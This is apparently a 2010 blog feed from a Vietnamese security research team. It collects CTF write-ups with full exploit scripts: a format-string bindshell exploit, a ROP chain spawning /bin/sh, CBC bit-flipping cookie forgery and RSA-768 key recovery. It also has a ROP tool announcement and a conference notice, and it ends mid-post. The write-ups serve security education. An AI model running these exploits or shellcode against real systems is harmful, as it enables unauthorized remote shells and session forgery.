VNSECURITY TEAM (Vietnam Internet Security Research Team) http://www.vnsecurity.net Know thy Enemy! Wed, 25 Aug 2010 02:56:52 +0000 http://wordpress.org/?v= en hourly 1 ROPEME – ROP Exploit Made Easy http://www.vnsecurity.net/2010/08/ropeme-rop-exploit-made-easy/ http://www.vnsecurity.net/2010/08/ropeme-rop-exploit-made-easy/#comments Fri, 13 Aug 2010 03:21:35 +0000 longld https://www.vnsecurity.net/?p=1080

ROPEME – ROP Exploit Made Easy – is a PoC tool for ROP exploit automation on Linux x86. It contains a set of simple Python scripts to generate and search for ROP gadgets from binaries and libraries (e.g libc). A sample payload class is also included to help generate multistage ROP payload with the technique described in the Black Hat USA 2010 talk: “Payload already inside: data re-use for ROP exploits“.

Check the latest paper and slides and PoC code.

And take a look at the demo video below:

Enjoy ROPing!

]]>
http://www.vnsecurity.net/2010/08/ropeme-rop-exploit-made-easy/feed/ 1
DEFCON 18 Quals: Pwtent Pwnables 500 write up http://www.vnsecurity.net/2010/05/defcon-18-quals-pwtent-pwnables-500-write-up/ http://www.vnsecurity.net/2010/05/defcon-18-quals-pwtent-pwnables-500-write-up/#comments Fri, 28 May 2010 06:15:56 +0000 RD https://www.vnsecurity.net/?p=963

This is a short write up since I’m a bit lazy. We didn’t solved it during the quals as it was too late (we exhausted and most of member including myself went to sleep so I only started looking into this in the morning of Monday. Didn’t have enough of time to finish it).

For pp500, ddtek gave us a pcap network dump of a remote exploit to a daemon on host 192.41.96.63, port 6913 and password to login is ‘antagonist’. Playing around with the daemon, I found out that ‘b’ command returns you back a block of 512 bytes from the binary.

Password: antagonist
? to see the menu
> ?
x - quit
d - donate entropy
r - report
b - /dev/hrnd
? - help
> b
Seed: 0
ELF     4�$4 (444�������&& l � ��/libexec/ld-elf.so.FreeBSDk5%20   .1!
                                                                      "
/)(-*>

Seed value from 0 to 19 returned the same data, 20 returned different data, 21-39 same as 20, … So I wrote a script to extract out all the blocks from the binary with seed values 0, 20, 40, 60, 80, ….. After filtered out all the duplicated blocks, there were totally 21 unique blocks.

#!/usr/bin/env python
import sys
import socket

class humpty:
        def  __init__(self, host, port):
                self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                self.s.connect((host, port))
                ret = self.s.recv(1024)
                print ret

        def login(self, passwd):
                self.s.send(passwd + "\n")
                ret = self.s.recv(1024)
                print ret

        def getdata(self, seed):
                print seed
                cmd = "b\n"
                self.s.send(cmd)
                ret = self.s.recv(1024)
                print ret
                ret = self.s.recv(1024)
                print ret

                self.s.send("%d\n" % seed)
                ret = ret + self.s.recv(1024)
                ret = ret
                #print len(ret), repr(ret)
                return ret[6:518]

        def close(self):
                self.s.close()

def log(file, data):
        f = open(file, "w")
        f.write(data)
        f.close()

host = '192.41.96.63'
port = 6913

c = humpty(host, port)
a = raw_input("Enter to continue");
c.login("antagonist")

data = []
for i in range(0, 100):
        data.append(c.getdata(20*i));

data = list(set(data))
print "Total %d unique blocks" % len(data)
for i in range(0, len(data)):
        log("%d"%i, data[i])

print "Done"
c.close()

From the pcap dump session, we can find out that the size of humpty binary is 10392, which is 21 blocks of 512 bytes

-rwxr-x---  1 root  humpty  10392 May 22 19:06 humpty
-rw-r-----  1 root  humpty     21 May 22 19:01 key

The task now is to merge all the blocks in a the right order to rebuild the ELF binary. What I did was to get a sample freebsd binary which has similar size as humpty, then used `split -b512` to split it to 21 chunks of 512 bytes and then compared side by side with the 21 extracted blocks from ddtek’s pp500 server, merged it manually and used readelf to verify the merged binary. Here (or here) is the binary for pp500’s humpty.

After getting the binary, the rest of the tasks are easy since ddtek gave us out the exploit from the pcap dump. The exploit is similar to the exploit of esd2. FYI, esd2 is the original binary for pp500 which was leaked out via pp200 shell. After ddtek guys realized of this problem, they modified the esd2, changed password, strings, commands, read elf block functions, xor input, .. and named it humpty.

]]>
http://www.vnsecurity.net/2010/05/defcon-18-quals-pwtent-pwnables-500-write-up/feed/ 0
DEFCON 18 Quals: Pwtent Pwnables 500 esd2 exploit http://www.vnsecurity.net/2010/05/defcon-18-quals-pwtent-pwnables-500-exploit/ http://www.vnsecurity.net/2010/05/defcon-18-quals-pwtent-pwnables-500-exploit/#comments Fri, 28 May 2010 03:48:55 +0000 longld https://www.vnsecurity.net/?p=948

CLGT did not solved this during the quals! Here is the exploit for  the esd2 leaked from pp200 (thanks beist for sharing). More analysis & write up for the real pp500 will come later:

#!/usr/bin/env python

import socket
import struct
import telnetlib
import time

HOST = '192.168.56.101'
PORT = 8302

def xor_input(data):
    static = "%5d | %5d\n" + "\x00"*4
    out = ""
    for i in range(len(data)):
        out += chr(ord(static[i]) ^ ord(data[i]))
    return out

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

# send password
s.send("sp3wn0w" + "\n")

# prepare the payload
# overwrite lseek@plt, original value = 0x08048ae2
target = 0x804a30c
# shellcode address = 0x0804a040 + 142 bytes (padding + fmt_string)
ret = 0x0804a0ce
# value to write into target
write_byte = 0xa0ce
# payload = target + padding(128 - 4) + 14 (fmt_string) + shellcode
padding = "A"*128
fmt_string = "%" + str(write_byte) + "u%24$hn"
fmt_string = xor_input(fmt_string)

# bindshell: port 5678
shellcode = "\x00\x29\xc9\x83\xe9\xec\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x63\x7d\xa9\x09\x83\xeb\xfc\xe2\xf4\x09\x1c\xf1\x90\x31\x15\xb9\x0b\x75\x53\x20\xe8\x31\x3f\xfb\x4b\x31\x17\xb9\xc4\xe3\xe4\x3a\x58\x30\x2f\xc3\x61\x3b\xb0\x29\xb9\x09\xb0\x29\x5b\x30\x2f\x19\x17\xae\xfd\x3e\x63\x61\x24\xc3\x53\x3b\x2c\xfe\x58\xae\xfd\xe0\x70\x96\x2d\xc1\x26\x4c\x0e\xc1\x61\x4c\x1f\xc0\x67\xea\x9e\xf9\x5d\x30\x2e\x19\x32\xae\xfd\xa9\x09"

payload = struct.pack("<L", target) + padding[4:] + fmt_string + shellcode + "\n"

print "Sending payload...", repr(payload)
s.send("c\n" + str(len(payload)) +"\n")
s.send(payload)
# trigger the read_blob that calls lseek()
s.send("r\n" + "10\n")

print "Connecting to remote shell port 5678..."
time.sleep(4)
t = telnetlib.Telnet(HOST, 5678)
t.write("id\n\n")
t.interact()

t.close()
s.close()
]]>
http://www.vnsecurity.net/2010/05/defcon-18-quals-pwtent-pwnables-500-exploit/feed/ 0
Hội thảo bảo mật quốc tế SyScan 2010 đến Tp.HCM http://www.vnsecurity.net/2010/05/hoi-thao-bao-mat-quoc-te-syscan-2010-den-tp-hcm/ http://www.vnsecurity.net/2010/05/hoi-thao-bao-mat-quoc-te-syscan-2010-den-tp-hcm/#comments Thu, 27 May 2010 15:37:57 +0000 vnsec https://www.vnsecurity.net/?p=925

SyScan (Symposium on Security for Asia Network) là một trong các hội thảo bảo mật chuyên đề uy tín ở châu Á. Khác với các hội thảo bảo mật khác, SyScan không nói về sản phẩm hay giải pháp thương mại, mà là nơi các chuyên gia bảo mật hàng đầu trên thế giới đến để chia sẻ các nghiên cứu, phát hiện và kinh nghiệm của họ với giới bảo mật trong khu vực. Các diễn giả ở SyScan là những chuyên gia thuộc nhóm giỏi nhất, nổi bật nhất trong lĩnh vực họ nghiên cứu, sẽ đến và chia sẻ trong một hội thảo diễn ra trong hai ngày.

Tham dự Syscan HCM để có cơ hội trúng thưởng máy tính bảng Apple iPad

Tham dự Syscan 2010 HCM để có cơ hội trúng thưởng máy tính bảng Apple iPad

Đây là lần đầu tiên hội thảo SyScan được tổ chức ở Việt Nam với sự phối hợp đồng tổ chức giữa Syscan, công ty IET và nhóm VNSECURITY – nhóm nghiên cứu bảo mật hàng đầu hiện nay ở VN và cũng là nhà tổ chức hội thảo bảo mật quốc tế VNSECON năm 2007. Hội thảo SyScan 2010 HCM sẽ diễn ra từ ngày 23 đến 24 tháng 9 năm 2010 tại khách sạn Sheraton, 88 Đồng Khởi – Q.1 – Tp.HCM. Trọng tâm của hội thảo năm nay sẽ nhắm vào các chủ đề bảo mật nóng bỏng hiện nay trên thế giới như: Bảo mật hệ điều hành, Ảo hoá và Điện toán đám mây, Bảo mật trình duyệt, Bảo mật thiết bị di động, hệ thống nhúng, Web 2.0, Mạng viễn thông, Mạng máy tính, Chính sách an ninh, Chiến tranh điện tử, … Các đề tài này sẽ được xét duyệt bởi một hội đồng kỹ thuật gồm các chuyên gia bảo mật hàng đầu:

  • Thomas Lim – Sáng lập SyScan, CEO công ty bảo mật COSEINC
  • Dave Aitel – Sáng lập viên và là CEO của công ty bảo mật ImmunitySec
  • Marc Maiffret – Đồng sáng lập và là Chief Hacking Officer của công ty bảo mật eEye
  • Matthew “Shok” Conover – Công ty bảo mật Symantec
  • Thanh Nguyen – Security Center of Excellence, Intel / Sáng lập viên VNSECURITY

Các báo cáo sẽ được các diễn giả trình bày bằng tiếng Anh. Tuy nhiên các tài liệu và bản thuyết trình sẽ được chiếu song ngữ tiếng Anh và tiếng Việt. Song song với buổi hội thảo, sẽ diễn ra các khoá huấn luyện ngắn hạn do các chuyên gia tên tuổi đứng lớp với các chủ đề khá chuyên biệt như Khai thác lỗi hổng bảo mật trên Windows, Bảo mật ứng dụng Web, Xây dựng mạng Wifi an toàn, …

Mời tham gia gửi báo cáo
Ban tổ chức mong sẽ nhận được các báo cáo từ các chuyên gia an ninh mạng và bảo mật trong nước để trình bày tại hội thảo Syscan 2010 HCM. Chi tiết về CFP xin xem tại http://www.syscan.org/hcm/callforpapers.php

Do tổ chức ở VN, ban tổ chức đã cân nhắc mức chi phí phù hợp cho đa số các đối tượng quan tâm đến bảo mật có thể tham gia. BTC hiện đang cho đăng ký tham dự sớm với chi phí tham dự hội thảo chỉ là 50 USD (20 USD đối với sinh viên) / người từ nay đến hết tháng 5. Chi phí đăng ký tham dự trong tháng 6 sẽ là 100 USD / người và đến ngày hội thảo là 300 USD / người. Đây là giá rất rẻ cho hội thảo quốc tế về an ninh mạng và bảo mật có quy mô và chất lượng cao (giá trung bình ở các hội thảo khác trong đó có Syscan 2010 Singapore là khoảng 500-1500 USD/người). Ngoài ra, mỗi người tham dự sẽ có cơ hội bốc thăm trúng thưởng máy tính bảng iPad của hãng Apple. Để đăng ký, bạn hãy gửi thông tin cho ban tổ chức qua trang web sau http://www.syscan.org/hcm/registration.php. Đại diện BTC ở VN sẽ liên hệ bạn để xác nhận và thống nhất về phương thức thanh toán. Nếu bạn có thắc mắc hay câu hỏi, xin vui lòng liên hệ qua địa chỉ email conf @ vnsecurity chấm net.

Vietnam Hacking Festival

Song song với khuôn khổ hội thảo quốc tế SyScan 2010 diễn ra trong hai ngày 23 – 24-9-2010, nhóm VNSECURITY cũng sẽ tổ chức vòng chung kết “Vietnam Hacking Festival”, một cuộc thi CTF với sự tham gia của các đội trong và ngoài nước. Vòng loại của cuộc thi sẽ diễn ra vào đầu tháng 8-2010. Thông tin cụ thể sẽ được thông báo trên trang chủ VNSecurity.net.

]]>
http://www.vnsecurity.net/2010/05/hoi-thao-bao-mat-quoc-te-syscan-2010-den-tp-hcm/feed/ 2
DEFCON 18 Quals: writeups collection http://www.vnsecurity.net/2010/05/defcon-18-quals-writeups-collection/ http://www.vnsecurity.net/2010/05/defcon-18-quals-writeups-collection/#comments Tue, 25 May 2010 09:06:53 +0000 longld https://www.vnsecurity.net/?p=869

DEFCON 18 Quals is over and here are the writeups collection from teams, come back for latest updates.

(please inform me if you have write up for c500, pm500)

PURSUITS TRIVIAL

PT100: spiderman movie quote

PT200: VIM shell

PT300: social networking

PT400: java game

PT500: audio remix

CRYPTO BADNESS

C100: alphabet cipher (Dvorak keyboard)

C200: Enigma cipher

C300:

C400: RSA 768 bits crack

C500:

  • n/a

PACKET MADNESS

PM100: yEnc madness (too hard for 100pts)

PM200: EBCDIC shell

PM300:

PM400:

PM500:

  • n/a

BINARY L33TNESS

B100: Linux x86 crackme

B200: Haiku OS crackme

B300: Linux x64 crackme

B400: Linux x86 binary with embedded lightweight Java Virtual Machine (base on j2me_cldc reference code from Sun)

B500: Solaris SPARC 9 x64 (find the DES key)

PWTENT PWNABLES

PP100: FreeBSD BOF exploit with stack cookie based on time
(wasted of time due to wrong server timezone!)

PP200: python shell

PP300: FreeBSD exploit – heap overflow

PP400: Mach-O PPC binary exploit (err .. it’s the same binary as last year pp400 challenge)

PP500: FreeBSD exploit recover from a packet dump
(err .. binary & key were leaked from PP200 shell to some teams)

FORENSICS

F100: hidden key in NTFS filesystem

F200: PNG images analysis

F300:

F400: Live OS image

F500:RAID image carving

Misc Links

]]>
http://www.vnsecurity.net/2010/05/defcon-18-quals-writeups-collection/feed/ 18
Defcon 18 CTF Quals to be started http://www.vnsecurity.net/2010/05/defcon-18-ctf-quals/ http://www.vnsecurity.net/2010/05/defcon-18-ctf-quals/#comments Fri, 21 May 2010 15:42:10 +0000 vnsec https://www.vnsecurity.net/?p=862

Defcon 18 CTF qualification round will be started in the next few hours.  We’ll try our best to get into the final.

Enjoy and Good luck to all the teams.

Btw, CLGT is on the local news today.

]]>
http://www.vnsecurity.net/2010/05/defcon-18-ctf-quals/feed/ 5
Return-oriented-programming practice: exploiting CodeGate 2010 Challenge 5 http://www.vnsecurity.net/2010/04/return-oriented-programming-practice-exploiting-codegate-2010-challenge-5/ http://www.vnsecurity.net/2010/04/return-oriented-programming-practice-exploiting-codegate-2010-challenge-5/#comments Sun, 18 Apr 2010 07:20:09 +0000 longld https://www.vnsecurity.net/?p=822

In my previous post about CodeGate 2010 Challenge 5 exploit, I mentioned the weakness of accessing server to get execl() address. In this post I will show how to blindly exploit the “harder” program without access to the remote server using return-oriented-programming technique.

ROP introduction

A worth to read post about ROP introduction can be found on Zynamics blog: http://blog.zynamics.com/2010/03/12/a-gentle-introduction-to-return-oriented-programming/

In summary: we will use return-into-instructions (called gadgets) to build and execute our payload when controlled EIP and ESP from vulnerable program.

ROP limitations (difficulties):

  • ASLR: the same as return-into-libc, it’s difficult to locate address of instructions in library (e.g libc)
  • ASCII-armor address: with ascii-armor remapping of libraries (e.g libc), addresses will contain NULL byte so chaining return-into-libc calls and ROP is impossible if there’s NULL filter in input

The “harder” case

Fortunately, we can blindly exploit the “harder” program using ROP because it provides some “advantages” in code:

  • getline(): can pass NULL byte to input
  • printf(): can leak runtime memory info (bypass ASLR)

Finding ROP gadgets

Our target is to invoke execve(”/bin/sh”, 0, 0) syscall, which is equivalent to prepare registers’ value then trigger kernel syscall:

eax = 0xb // execve
ebx = address of “/bin/sh”
ecx = 0 // argv
edx = 0 // env

Searching in harder binary, we found below gadgets:

  • eax:
    80483a4:    58                       pop    %eax
    80483a5:    5b                       pop    %ebx
    80483a6:    c9                       leave
    80483a7:    c3                       ret
  • ebx & ecx:
    8048634:    59                       pop    %ecx
    8048635:    5b                       pop    %ebx
    8048636:    c9                       leave
    8048637:    c3                       ret

    “/bin/sh” is placed on target buffer, its address is available by leaking via printf()

  • edx:
    There’s no edx related gadget but observing that when returned from memcpy() edx’s value is set to esi so we can assign esi to 0×0 first then return again to main to nullify edx.

    0x001ba506 :    mov    edx,esi
    80485e6:    5e                       pop    %esi
    80485e7:    5f                       pop    %edi
    80485e8:    5d                       pop    %ebp
    80485e9:    c3                       ret
  • syscall:
    In recent Linux kernel, syscall is usually performed via linux gate: call gs:[0x10]. By return to back to printf() in harder program many times, we can find the offset from getline() to first syscall is 319 bytes.
  • moving stack:
    After “leave; ret” our stack will be moved to new location pointing by ebp. We can control this by set ebp back to somewhere in the middle of target buffer.

Exploit code


#!/usr/bin/env python

import socket
import sys
import struct
import telnetlib

#host = 'ctf4.codegate.org'
host = '127.0.0.1'
port = 9005

c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.connect((host, port))

buf=""
# bypass first read
buf = c.recv(1024)

# getline() address
buf = "A"*268 + struct.pack('i', 0x08048524) + struct.pack('i', 0x0804a008) + "\n"
c.send(buf)
buf = c.recv(1024)
addr = ""
getline_addr = int(buf[:4][::-1].encode('hex'), 16)
print "getline() is at:", hex(getline_addr)

# call gs:[0x10] address
offset = 319 # first offset is 319 bytes from getline()
syscall_addr = getline_addr + offset

# buffer address
buf = "%7$x" + "\x00"*260 + struct.pack('i', 0x08048521)*2 + "\n"
c.send(buf)
buf = c.recv(1024)
input_addr = int(buf[:8], 16)
print "Buffer address is at: ", hex(input_addr)

# gadgets address
pop_eax = 0x080483a4
pop_ecx_ebx = 0x08048634
pop_esi = 0x080485e6

# pop esi
buf = "A"*268 + struct.pack('i', pop_esi) + "\x00" * 12 + struct.pack('i', 0x08048524)*2  + "\n"
c.send(buf)
c.recv(1024)

# pop eax then move stack to new address
input_addr += 560 # lifting after 2 getline() calls
new_stack = input_addr+8
buf = "/bin/sh\x00" # /bin/sh
buf += struct.pack('i', new_stack+16) # next ebp after leave from pop_eax
buf += struct.pack('i', pop_ecx_ebx) # next is pop_ecx_ebx
buf += "\x00"*4 # ecx
buf += struct.pack('i', input_addr) # ebx -> /bin/sh
buf += "A"*4 # un-used ebp after leave from pop_ecx_ebx
buf += struct.pack('i', syscall_addr)
buf = buf.ljust(264, "A") # padding
buf += struct.pack('i', new_stack) # new ebp
buf += struct.pack('i', pop_eax)
buf += "\x0b\x00\x00\x00" # execve syscal
buf += "A"*4 # un-used ebx
buf += "\n"

print "Sending final payload ..."
c.send(buf)
c.send("id 2>&1" + "\n"*5)

t = telnetlib.Telnet()
t.sock = c
t.interact()
c.close()
]]>
http://www.vnsecurity.net/2010/04/return-oriented-programming-practice-exploiting-codegate-2010-challenge-5/feed/ 4
CodeGate 2010 – Challenge 8: Bit-flipping attack on CBC mode http://www.vnsecurity.net/2010/03/codegate-2010-challenge-8-bit-flipping-attack-on-cbc-mode/ http://www.vnsecurity.net/2010/03/codegate-2010-challenge-8-bit-flipping-attack-on-cbc-mode/#comments Tue, 23 Mar 2010 07:53:57 +0000 vnsec https://www.vnsecurity.net/?p=787

Writeup for CodeGate 2010 Challenge 8 by namnx


This is a web-based cryptography challenge. In this challenge, we were provided a URL and a hint ”the first part is just an IV“.

The URL is: http://ctf1.codegate.org/99b5f49189e5a688492f13b418474e7e/web4.php.

Analysis

Go to the challenge URL. It will ask you the username for the first time. After we enter a value, for example ‘namnx‘, it will return only a single message “Hello, namnx!“. Examine the HTTP payload, we will see the cookie returned:

web4_auth=1vf2EJ15hKzkIxqB27w0AA==|5X5A0e3r48gXhUXZHEKBa5dpC+XfdVv4oamlriyi5yM=

The cookie includes 2 parts delimited by character ‘|’. After base64 decode the first part of the cookie, we have a 16-byte value. According to the hint, this is the IV of the cipher. And because it has 16-byte length, I guess that this challenge used AES cipher, and the block size is 16 bytes. Moreover, the cipher has an IV, so it can’t be in ECB mode. I guessed it in CBC mode. The last part is the base64 of a 32-byte value. This is a cipher text. We will exploit this value later.

Browse the URL again, we will receive another message: “Welcome back, namnx! Your role is: user. You need admin role.” Take a look into this message, we can guess the operation of this app: it will receive the cookie from the client, decrypt it to get the user and role information and return the message to the client based on the user and role information. So, in order to get further information, we must have the admin role. This is our goal in this challenge.

Exploit

I wrote some Python to work on this challenge easier:

    import urllib, urllib2
    import base64, re

    url = 'http://ctf1.codegate.org/99b5f49189e5a688492f13b418474e7e/web4.php'
    user_agent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'

    def get_cookie(user):
        headers = { 'User-Agent' : user_agent}
        values = {'username' : user, 'submit' : "Submit"}
        data = urllib.urlencode(values)
        request = urllib2.Request(url, data, headers)
        response = urllib2.urlopen(request)
        cookie = response.info().get('Set-Cookie')
        groups = re.match("web4_auth=(.+)\|(.+);.+", cookie).groups()
        iv = base64.b64decode(groups[0])
        cipher = base64.b64decode(groups[1])
        return iv, cipher

    def get_message(iv, cipher):
        cookie = base64.b64encode(iv) + '|' + base64.b64encode(cipher)
        cookie = urllib.quote(cookie)
        cookie = 'web4_auth=' + cookie
        headers = { 'User-Agent' : user_agent, 'Cookie': cookie}
        request = urllib2.Request(url, None, headers)
        response = urllib2.urlopen(request)
        data = response.read()
        print repr(data)
        groups = re.match(".+, (.*)! .+: (.*)\. You.+", data).groups()
        return groups[0], groups[1]

The first function, get_cookie will submit a value as a username in the first visit to the page, get the returned cookie, and then parse it to get the IV and cipher. The second function, get_message, do the task like when you visit the page in later times, it parses the response message to get the returned username and role.

    >>> iv, cipher = get_cookie('123456789012')
    >>> len(cipher)
    32
    >>> iv, cipher = get_cookie('1234567890123')
    >>> len(cipher)
    48

When you input the user with a 12-byte value, the returned cipher will have 32 bytes (2 blocks). And when you enter a 13-byte value, the cipher will have 48 bytes (3 blocks). This means that beside the username value, the plain text of the cipher will be added more 20 bytes.

Try altering the cipher text to see how it is decrypted:

    >>> iv, cipher = get_cookie('1234567890')
    >>> cipher1 = cipher[:-1] + '\00'
    >>> username, role = get_message(iv, cipher1)
    'Welcome back, 1234567\xa2\xc2\xca\xfei\xdb\xee_c\xa7\xd7\x0c\xa9j\xe0\xbb! Your role is: . You need admin role.'

As you can see, the last block of the decrypted role is the first block of the plain text. So, the format of the plain text may be: ‘username=’ + username + [11 bytes].

To here, we can guess that the format of the plain text can be something like:

‘username=’ + username + [delimiter] + [param] + ‘=’ + [value]

The last 11 bytes of the plain text can be determined by the code below:

    >>> iv, cipher = get_cookie('\x00')
    >>> username, role = get_message(iv, cipher)
    'Welcome back, \x00##role=user\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00! Your role is: . You need admin role.'

You can see the last 11 bytes of the plain text in the returned message. So, at this time, we can conclude format of the plain text is:

‘username=’ + username + ‘##role=’ + role

Now, the last thing we have to do is altering the role value to ‘admin’. Because we’ve already known the format of the plain text, we can choose to input the username close to the target plain text and try to alter the cipher text in the way that the decrypted value is what we want.

Let remind the operation of CBC mode in cryptographic ciphers. In encryption process:

y[1] = C(IV xor x[1])
y[n] = C(y[n-1] xor x[n])

and in the decryption:

x[1] = D(y[1]) xor IV
x[n] = D(y[n]) xor y[n-1]

Notice that if we flip one bit in the (n-1)th block of cipher text, the respective bit in the n-th block of plain text will be also flipped. So, we will you this fact to exploit the challenge:

    >>> iv, cipher = get_cookie('012345678901234567890123#role=admin')
    >>> s = cipher[:16] + chr(ord(cipher[16]) ^ 0x10) + cipher[17:]
    >>> username, role = get_message(iv, s)
    'Welcome back, 0123456L\xaa\x17m\xe9\x91\xdc\xe2`#z)\xd8m\xd8\x18! Your role is: admin. You need admin role. Congratulations! Here is your flag: the_magic_words_are_squeamish_ossifrage_^-^!!!!!'

Successful! Such an interesting challenge, isn’t it?

References

]]>
http://www.vnsecurity.net/2010/03/codegate-2010-challenge-8-bit-flipping-attack-on-cbc-mode/feed/ 0
CodeGate 2010 – Challenge 7: Weak SSL Cracking http://www.vnsecurity.net/2010/03/codegate-2010-challenge7-weak-ssl-cracking/ http://www.vnsecurity.net/2010/03/codegate-2010-challenge7-weak-ssl-cracking/#comments Tue, 23 Mar 2010 07:39:02 +0000 vnsec https://www.vnsecurity.net/?p=780

Writeup for CodeGate 2010 – Challenge 7 by namnx


Last weekend, I had a great hacking time with team CLGT in the CodeGate 2010 CTF Preliminary Round. It lasted 36 consecutive hours from 7:00AM March 13 to 7:00PM March 14. There were a lot of teams around the world participating in this hacking contest. And excellently, CLGT proved it as one of the best teams when got the 2nd place in this round. See final ranking.
This entry is my writeup for challenge 7. I think this is an interesting challenge from which you can learn more deeply about SSL protocol and public key cryptography. In this challenge, we were provided a tcpdump file of a SSL traffic and a hint “does the modulus look familiar?“. So our goal is to analyze and decrypt this captured traffic to get the flag.

Analysis
Firstly, I used Wireshark to load this file and start to analyze it:

There are 26 packets captured. Packet #4 is a SSL Client Hello packet, but after it, packet #8 and packet #9 have FIN flag. This mean that the session was termininated. So we just ignore them.
Packet #14 is another SSL Client Hello packet. This is where the real session began. Take a look into it:
There is nothing special. It is just a normal SSL Client Hello packet. It happens when a client want to connect to a SSL service. We continue look into the packet #16, the SSL Server Hello packet:
This is the response for SSL Client Hello packet. We can see some useful information here:
- The cipher suite will be used: RSA_WITH_AES_256_CBC_SHA
- The X509 certificate of the server
In the SSL protocol, the server send its certificate to the client in the handshaking process. This certificate will be used for supporting the key exchange afterward. The certificate contains the server’s public key and other data. By extracting the public key and recovering the private key from it, we can decrypt the SSL traffic.
Exploit
I wrote some Python code to exploit this challange:
    from scapy.all import *
    from M2Crypto import X509

    def decode_serverhello(packet):
    payload = packet.load
    cert = payload[94:1141]
    cert = X509.load_cert_string(cert, 0)
    return cert

    def get_pubkey(cert):
    pubkey = cert.get_pubkey().get_rsa()
    n = long(pubkey.n.encode('hex')[8:], 16)
    e = long(pubkey.e.encode('hex')[9:], 16)
    return n, e

    packets = rdpcap('ssl.pcap')
    cert = decode_serverhello(packets[15])
    n,e = get_pubkey(cert)

Because this traffic used RSA as public key algorithm, the public key contains 2 components: n and e. We get their values from the above code:

    n = 1230186684530117755130494958384962720772853569595334792197322452151726400507263657518745202199786469389956474942774063845925192557326303453731548268507917026122142913461670429214311602221240479274737794080665351419597459856902143413
    e = 65537
In RSA, n is the product of 2 big prime numbers p and q. So, in order to recover the RSA private key from the public key, we must factorize n into p and q. This is the key point of the challenge. In this situation, n is a very big number (232 decimal digits). How can we do that? In the beginning, I didn’t know how to solve it. But I remembered the hint “does the modulus look familiar?“. So I tried googling it :-D (actually just its last digits). And… oh my god, I was lucky! It is RSA-768. It’s factorized just few months ago.
    RSA-768 = 33478071698956898786044169848212690817704794983713768568912431388982883793878002287614711652531743087737814467999489
    × 36746043666799590428244633799627952632279158164343087642676032283815739666511279233373417143396810270092798736308917

So now, we have all components of the RSA keys.

    n = 1230186684530117755130494958384962720772853569595334792197322452151726400507263657518745202199786469389956474942774063845925192557326303453731548268507917026122142913461670429214311602221240479274737794080665351419597459856902143413
    e = 65537
    p = 33478071698956898786044169848212690817704794983713768568912431388982883793878002287614711652531743087737814467999489
    q = 36746043666799590428244633799627952632279158164343087642676032283815739666511279233373417143396810270092798736308917
    d = 703813872109751212728960868893055483396831478279095442779477323396386489876250832944220079595968592852532432488202250497425262918616760886811596907743384527001944888359578241816763079495533278518938372814827410628647251148091159553
The last thing we have to do is generating the RSA private key in PEM format from these components. But how can we do that? As far as I know, popular cryptographic libraries like OpenSSL do not support this. So in this case, I wrote my own tool to do this task. It is based on ASN1. It is a little long to post here. But if you want to write your own one, I recommend pyasn1.

After having the private key, just import it to Wireshark to decrypt the SSL traffic:

References
- SSL/TLS: http://en.wikipedia.org/wiki/Transport_Layer_Security
- RSA: http://en.wikipedia.org/wiki/RSA

]]>
http://www.vnsecurity.net/2010/03/codegate-2010-challenge7-weak-ssl-cracking/feed/ 0
CodeGate 2010 – Challenge 6 writeup http://www.vnsecurity.net/2010/03/codegate-2010-challenge-6-writeup/ http://www.vnsecurity.net/2010/03/codegate-2010-challenge-6-writeup/#comments Sat, 20 Mar 2010 06:07:39 +0000 longld https://vnsecurity.net/?p=725

Summary

Challenge 6 is a forensics problem with a mountain of data, a packet capture file and a FAT32 filesystem image. In order to find the secret you have to watch for the “key” exchanged via MSN conversation in a packet capture file, then use it to find the secret file name. With forensics problems, luck is more important than techniques and you should only do it if you don’t have anything to play during the game.

Analysis

Challenge information:

credentials:

http://ctf.codegate.org/thisiswhereiuploadmyfiles/CC2A8B4FA2E1FA6BD7FE9B8EFC86BCB7

Substitute for those who are not in Korea : http://www.mediafire.com/?wyhexdmzzdm

You should convert the flag into lower case letters and try to auth with it.

Hint: The packet of messenger is important. You don’t need to care the ftp stuff.

Hint2: Please put your flag without any extension to the auth page.

File info

$ file CC2A8B4FA2E1FA6BD7FE9B8EFC86BCB7
CC2A8B4FA2E1FA6BD7FE9B8EFC86BCB7: gzip compressed data, from Unix, last modified: Fri Mar 12 17:20:19 2010

$ zcat CC2A8B4FA2E1FA6BD7FE9B8EFC86BCB7 > challenge6
$ file challenge6
challenge6: POSIX tar archive (GNU)

$ tar xvf challenge6
352FCD8BDEC8244CDED00CA866CA24B9
B400CBEA39EA52126E2478E9A951CDE8

$ file 352FCD8BDEC8244CDED00CA866CA24B9 B400CBEA39EA52126E2478E9A951CDE8
352FCD8BDEC8244CDED00CA866CA24B9: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 65535)
B400CBEA39EA52126E2478E9A951CDE8: x86 boot sector, code offset 0x58, OEM-ID "MSDOS5.0",
sectors/cluster 8, reserved sectors 4334, Media descriptor 0xf8, heads 255, sectors 1982464 (volumes > 32 MB) ,
FAT (32 bit), sectors/FAT 1929, reserved3 0x800000, serial number 0x7886931a, unlabeled

We have 2 files: a tcpdump packet capture and a FAT32 filesystem image. From the hints (yes, without it we don’t know what to search for), we focus our search to:

  • Final secret key must be a file and it may rely on FAT32 image
  • Keyword to find out that secret file must be exchanged via MSN conversation(s) in tcpdump file

MSN conversation

Using chaosreader (you can use other tools to have the same result) to analyse pcap file, we will have a list of sessions like below:

Chaosreader Report - msnp

The session number 263 & 264 is MSN chat. Following the conversion by looking in to raw file we find some interesting things:

forensic-proof@live.com> i;d like to get a file that i asked you before……
forensic-proof@live.com> now availabel?

securityholic@hotmail.com> ah
securityholic@hotmail.com> ok wait a min :)

[... MSN P2P file transfer session ...]

forensic-proof@live.com> thanks….

securityholic@hotmail.com> this is between you and me :-/

It looks like they exchange some “secret” via MSN P2P file transfer. Looking at file transfer session (refer to References for MSN protocol) :

To: <msnmsgr:securityholic@hotmail.com;{95178158-37b6-45ce-b332-2042a4d27563}>
From: <msnmsgr:forensic-proof@live.com;{281f2818-580b-46f0-909f-c009de526642}>
Via: MSNSLP/1.0/TLP ;branch={51D93360-BFBD-40CB-AD0A-2D7FB5C28031}
CSeq: 1
Call-ID: {71021C00-FE1C-4E91-B415-D2145D7C1C24}
Max-Forwards: 0
